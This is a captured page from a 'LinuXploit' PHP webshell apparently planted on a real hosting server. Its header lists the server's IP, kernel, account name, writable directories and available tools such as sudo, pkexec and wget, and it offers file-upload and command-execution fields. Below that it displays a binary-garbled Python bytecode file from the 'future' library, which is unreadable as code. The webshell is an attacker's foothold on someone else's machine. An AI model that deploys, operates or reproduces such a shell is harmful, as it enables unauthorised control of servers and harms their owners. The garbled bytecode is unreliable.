403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/future/types/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/future/types/newint.pyc
�
,�]c@ s�dZddlmZddlZddlmZddlmZddlm	Z	m
Z
mZmZm
Z
mZe	r�eZddlmZnddlmZdefd	��YZd
e
ee�fd��YZd
gZdS(s�
Backport of Python 3's int, based on Py2's long.

They are very similar. The most notable difference is:

- representation: trailing L in Python 2 removed in Python 3
i����(tdivisionN(tnewbytes(t	newobject(tPY3tisinttistexttisbytestwith_metaclasstnative(tIterablet
BaseNewIntcB seZd�ZRS(cC s3|tkrt|ttf�St|j|�SdS(N(tnewintt
isinstancetinttlongt
issubclasst	__class__(tclstinstance((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt__instancecheck__s(t__name__t
__module__R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR
sRcB s|eZdZddd�Zd�Zd�Zd�Zd�Zd�Zd	�Z	d
�Z
d�Zd�Zd
�Z
d�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd �Z d!�Z!d"�Z"d#�Z#d$�Z$d%�Z%d&�Z&d'e'd(�Z(e)d'e'd)��Z*RS(*s6
    A backport of the Python 3 int object to Py2
    ii
cC siy|j�}Wntk
r)|}n+Xt|�sTtdjt|����n|dkr�t|�p�t|�p�t|t	�s�td��ny t
t|�j|||�SWq�tk
r�t
t|�j|t
|�|�SXnyt
t|�j||�SWnYtk
rdy#t
t|�j|t
|��SWqetdjt|����qeXnXdS(s.
        From the Py3 int docstring:

        |  int(x=0) -> integer
        |  int(x, base=10) -> integer
        |
        |  Convert a number or string to an integer, or return 0 if no
        |  arguments are given.  If x is a number, return x.__int__().  For
        |  floating point numbers, this truncates towards zero.
        |
        |  If x is not a number or if base is given, then x must be a string,
        |  bytes, or bytearray instance representing an integer literal in the
        |  given base.  The literal can be preceded by '+' or '-' and be
        |  surrounded by whitespace.  The base defaults to 10.  Valid bases are
        |  0 and 2-36. Base 0 means to interpret the base from the string as an
        |  integer literal.
        |  >>> int('0b100', base=0)
        |  4

        s__int__ returned non-int ({0})i
s1int() can't convert non-string with explicit bases6newint argument must be a string or a number,not '{0}'N(t__int__tAttributeErrorRt	TypeErrortformatttypeRRRt	bytearraytsuperRt__new__R(Rtxtbasetval((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR%s.

	' 
&
#	cC s3tt|�j�}|ddks+t�|d S(s&
        Without the L suffix
        i����tL(RRt__repr__tAssertionError(tselftvalue((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR"[scC s<tt|�j|�}|tkr2t|�|St|�S(N(RRt__add__tNotImplementedR(R$totherR%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR&cscC s<tt|�j|�}|tkr2|t|�St|�S(N(RRt__radd__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR)iscC s<tt|�j|�}|tkr2t|�|St|�S(N(RRt__sub__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR*oscC s<tt|�j|�}|tkr2|t|�St|�S(N(RRt__rsub__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR+uscC sLtt|�j|�}t|�r.t|�S|tkrHt|�|S|S(N(RRt__mul__RR'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR,{s
cC sLtt|�j|�}t|�r.t|�S|tkrH|t|�S|S(N(RRt__rmul__RR'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR-�s
cC s7t|�|}t|ttf�r/t|�S|SdS(N(RRR
R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt__div__�s
cC s7|t|�}t|ttf�r/t|�S|SdS(N(RRR
R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt__rdiv__�s
cC s6|j|�}t|ttf�r.t|�S|SdS(N(t__itruediv__RR
RR(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt__idiv__�s
cC s;tt|�j|�}|tkr7t|�|}n|S(N(RRt__truediv__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR2�scC stt|�j|�S(N(RRt__rtruediv__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR3�scC st|�}||}|S(N(R(R$R(tmylong((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR0�s
cC sttt|�j|��S(N(RRt__floordiv__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR5�scC sttt|�j|��S(N(RRt
__rfloordiv__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR6�scC s t|�}||}t|�S(N(RR(R$R(R4((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt
__ifloordiv__�s
cC s<tt|�j|�}|tkr2t|�|St|�S(N(RRt__mod__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR8�scC s<tt|�j|�}|tkr2|t|�St|�S(N(RRt__rmod__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR9�scC s`tt|�j|�}|tkrBt|�}||||fSt|d�t|d�fS(Nii(RRt
__divmod__R'R(R$R(R%R4((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR:�s
cC s`tt|�j|�}|tkrBt|�}||||fSt|d�t|d�fS(Nii(RRt__rdivmod__R'R(R$R(R%R4((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR;�s
cC s<tt|�j|�}|tkr2t|�|St|�S(N(RRt__pow__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR<�scC s<tt|�j|�}|tkr2|t|�St|�S(N(RRt__rpow__R'R(R$R(R%((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR=�scC sSt|�s7tdt|�jt|�jf��nttt|�j|��S(Ns1unsupported operand type(s) for <<: '%s' and '%s'(RRRRRRt
__lshift__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR>�s
%cC sSt|�s7tdt|�jt|�jf��nttt|�j|��S(Ns1unsupported operand type(s) for >>: '%s' and '%s'(RRRRRRt
__rshift__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR?�s
%cC sSt|�s7tdt|�jt|�jf��nttt|�j|��S(Ns0unsupported operand type(s) for &: '%s' and '%s'(RRRRRRt__and__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR@�s
%cC sSt|�s7tdt|�jt|�jf��nttt|�j|��S(Ns0unsupported operand type(s) for |: '%s' and '%s'(RRRRRRt__or__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyRA�s
%cC sSt|�s7tdt|�jt|�jf��nttt|�j|��S(Ns0unsupported operand type(s) for ^: '%s' and '%s'(RRRRRRt__xor__(R$R(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyRBs
%cC sttt|�j��S(N(RRt__neg__(R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyRC	scC sttt|�j��S(N(RRt__pos__(R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyRDscC sttt|�j��S(N(RRt__abs__(R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyREscC sttt|�j��S(N(RRt
__invert__(R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyRFscC s|S(N((R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyRscC s
|j�S(N(t__bool__(R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt__nonzero__scC stt|�j�S(s<
        So subclasses can override this, Py3-style
        (RRRH(R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyRGscC s
t|�S(N(R(R$((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt
__native__!stbigc	C s�|dkrtd��n|dkr:|dkr:t�S|r�|dkr�|d}d||}|dkr�td��q�n!|dkr�td��n|}|dkr�td	��nd
|}tdt|�d|j|d�jd��}|rV|dd
@}|dkr1|r1td��n|dkrV|rVtd��qVnt|�|krwtd��n|dkr�|S|ddd�S(sG
        Return an array of bytes representing an integer.

        The integer is represented using length bytes.  An OverflowError is
        raised if the integer is not representable with the given number of
        bytes.

        The byteorder argument determines the byte order used to represent the
        integer.  If byteorder is 'big', the most significant byte is at the
        beginning of the byte array.  If byteorder is 'little', the most
        significant byte is at the end of the byte array.  To request the native
        byte order of the host system, use `sys.byteorder' as the byte order value.

        The signed keyword-only argument determines whether two's complement is
        used to represent the integer.  If signed is False and a negative integer
        is given, an OverflowError is raised.
        is$length argument must be non-negativeiisint too smal to converts&can't convert negative int to unsignedtlittleRJs*byteorder must be either 'little' or 'big's%xt0thexi�sint too big to convertsint too small to convertNi����(RKRJ(t
ValueErrorRt
OverflowErrortlentzfilltdecode(	R$tlengtht	byteordertsignedtbitstnumthtsthigh_set((s7/usr/lib/python2.7/site-packages/future/types/newint.pytto_bytes$s2

4cC s�|dkrtd��nt|t�r9td��nt|t�rWt|�}n|dkri|n|ddd�}t|�dkr�d}ntt|�j	d	�d
�}|r�|dd@r�|dt|�d
}n||�S(s'
        Return the integer represented by the given array of bytes.

        The mybytes argument must either support the buffer protocol or be an
        iterable object producing bytes.  Bytes and bytearray are examples of
        built-in objects that support the buffer protocol.

        The byteorder argument determines the byte order used to represent the
        integer.  If byteorder is 'big', the most significant byte is at the
        beginning of the byte array.  If byteorder is 'little', the most
        significant byte is at the end of the byte array.  To request the native
        byte order of the host system, use `sys.byteorder' as the byte order value.

        The signed keyword-only argument indicates whether two's complement is
        used to represent the integer.
        RKRJs*byteorder must be either 'little' or 'big's'cannot convert unicode objects to bytesNi����itRMii�ii(slittlesbig(
RNRtunicodeRR	RRPR
Rtencode(RtmybytesRTRUtbRW((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt
from_bytesQs%	(+RRt__doc__RR"R&R)R*R+R,R-R.R/R1R2R3R0R5R6R7R8R9R:R;R<R=R>R?R@RARBRCRDRERFRRHRGRItFalseR[tclassmethodRa(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyR!sP6								
																												-(Rbt
__future__Rtstructtfuture.types.newbytesRtfuture.types.newobjectRtfuture.utilsRRRRRRR
Rtcollections.abcR	tcollectionsRR
Rt__all__(((s7/usr/lib/python2.7/site-packages/future/types/newint.pyt<module>s.	�]

Youez - 2016 - github.com/yon3zu
LinuXploit